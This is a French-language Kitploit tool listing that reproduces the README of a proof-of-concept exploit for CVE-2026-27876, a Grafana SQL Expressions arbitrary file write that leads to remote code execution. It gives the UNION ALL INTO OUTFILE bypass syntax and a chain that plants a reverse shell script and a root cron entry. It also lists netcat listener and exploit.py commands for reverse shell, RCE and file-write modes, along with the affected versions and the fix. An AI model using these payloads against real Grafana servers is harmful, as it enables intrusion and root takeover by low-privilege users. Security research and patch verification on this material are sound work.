Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/atiilla/cve-2026-27876
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationRed Teaming
GitHubatiilla/cve-2026-27876

CVE-2026-27876

Grafana SQL Expressions Écriture arbitraire de fichier vers RCE

Voir le dépôt
il y a 0 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-27876 : Écriture arbitraire de fichiers dans les expressions SQL de Grafana menant à une exécution de code à distance

CVSS 9.1 Critique | Écriture arbitraire de fichiers | Exécution de code à distance

Démo

https://github.com/user-attachments/assets/c84a4b63-7928-4dba-a069-3bafa036ce56

Résumé

La fonctionnalité Expressions SQL de Grafana (option sqlExpressions) utilise un moteur SQL intégré au processus (dolthub/go-mysql-server) avec une liste blanche AST défectueuse. Le nœud SetOp (UNION ALL) passe la validation et son walkSubtree() ne parcourt pas l'enfant Into — ce qui permet à INTO OUTFILE d'écrire des fichiers arbitraires sur le système de fichiers du serveur en tant qu'utilisateur du processus Grafana.

Tout utilisateur authentifié (rôle Viewer ou supérieur) peut enchaîner cela jusqu'à une RCE complète via un reverse shell basé sur cron.

Versions affectées

PlageAffectéCorrigé
11.6.x11.6.0 – 11.6.1311.6.14
12.0.x – 12.1.x12.0.0 – 12.1.912.1.10
12.2.x12.2.0 – 12.2.712.2.8
12.3.x12.3.0 – 12.3.512.3.6
12.4.x12.4.0 – 12.4.112.4.2

Nécessite l'activation de l'option de fonctionnalité sqlExpressions.

Cause racine

Deux défauts cumulés dans pkg/expr/sql/ :

  1. parser_allow.go : allowedNode() utilise un retour nommé b = true. Le cas *sqlparser.SetOp renvoie true (autorisé), et SetOp.walkSubtree() ne parcourt PAS le nœud enfant Into. Cela signifie que UNION ALL ... INTO OUTFILE contourne entièrement la liste blanche.

  2. db.go : Le contexte du moteur SQL est créé sans WithDisableFileWrites(true), donc INTO OUTFILE écrit sur le disque.

Syntaxe de contournement

root@kitploit:~
(SELECT 'line1') UNION ALL (SELECT 'line2') INTO OUTFILE '/target/path'

Un seul (SELECT ...) INTO OUTFILE produit un nœud ParenSelect qui EST bloqué. Deux parties SELECT ou plus reliées par UNION ALL produisent un nœud SetOp qui contourne la vérification.

Chaîne d'exploitation

root@kitploit:~
1. S'authentifier (le rôle Viewer suffit)
2. POST /api/ds/query avec la source de données __expr__, type "sql"
3. UNION ALL INTO OUTFILE écrit un script de reverse shell dans /tmp/
4. Une seconde écriture place une entrée cron dans /etc/crontabs/root
5. Cron se déclenche dans les 60 secondes -> reverse shell en tant que root

Utilisation

Configuration du laboratoire

root@kitploit:~
cd lab/
docker compose up -d
# Attendre que Grafana soit sain (~15s)

Grafana s'exécute sur http://localhost:3333 avec les identifiants admin:admin.

Exécuter l'exploit

Terminal 1 — Écouteur :

root@kitploit:~
nc -lvnp 4444

Terminal 2 — Exploit :

root@kitploit:~
cd poc/
python3 exploit.py -t http://localhost:3333 --revshell --lhost 172.28.0.1 --lport 4444

Le reverse shell arrive dans les 60 secondes.

Autres modes

root@kitploit:~
# Vérifier si la cible est vulnérable (sans écriture)
python3 exploit.py -t http://TARGET:3000 --check

# Écrire un fichier arbitraire
python3 exploit.py -t http://TARGET:3000 --write-path /tmp/test.txt --write-content "hello"

# Écrire un fichier local sur la cible
python3 exploit.py -t http://TARGET:3000 --write-path /tmp/test.txt --write-file ./local.txt

# RCE via le provisionnement de source de données (sans cron)
python3 exploit.py -t http://TARGET:3000 --rce

Nettoyage

root@kitploit:~
docker exec grafana-cve-2026-27876 rm -f /etc/crontabs/root /tmp/.grafana_rce_*.sh

Pour relancer l'exploit après une exécution précédente, nettoyez d'abord — INTO OUTFILE ne peut pas écraser les fichiers existants.

Correctif

Commit 0e5d9e01ef31f072fd41626cd744699374e70127 (PR #121514) :

  1. parser_allow.go : case *sqlparser.SetOp: return v.GetInto() == nil
  2. parser_allow.go : case *sqlparser.Into: return v == nil
  3. db.go : mysql.WithDisableFileWrites(true)

Fichiers

root@kitploit:~
.
├── README.md
├── analysis.md              # Analyse complète de la cause racine
├── lab/
│   ├── docker-compose.yml   # Laboratoire Grafana 12.4.0 (confirmé)
│   ├── Dockerfile           # Image personnalisée avec support cron
│   ├── entrypoint.sh        # Démarre crond + Grafana
│   └── setup.sh             # Script de configuration automatique
└── poc/
    ├── exploit.py           # PoC complet avec RCE
    └── cvss-justification.md

Références

  • Correctif : https://github.com/grafana/grafana/commit/0e5d9e01ef31f072fd41626cd744699374e70127
  • PR : https://github.com/grafana/grafana/pull/121514
  • Avis de sécurité : https://grafana.com/security/security-advisories/cve-2026-27876/

Avertissement

Pour la recherche en sécurité autorisée et les tests en laboratoire contrôlé uniquement. Ne pas utiliser contre des systèmes sans autorisation explicite.

Télécharger l’outil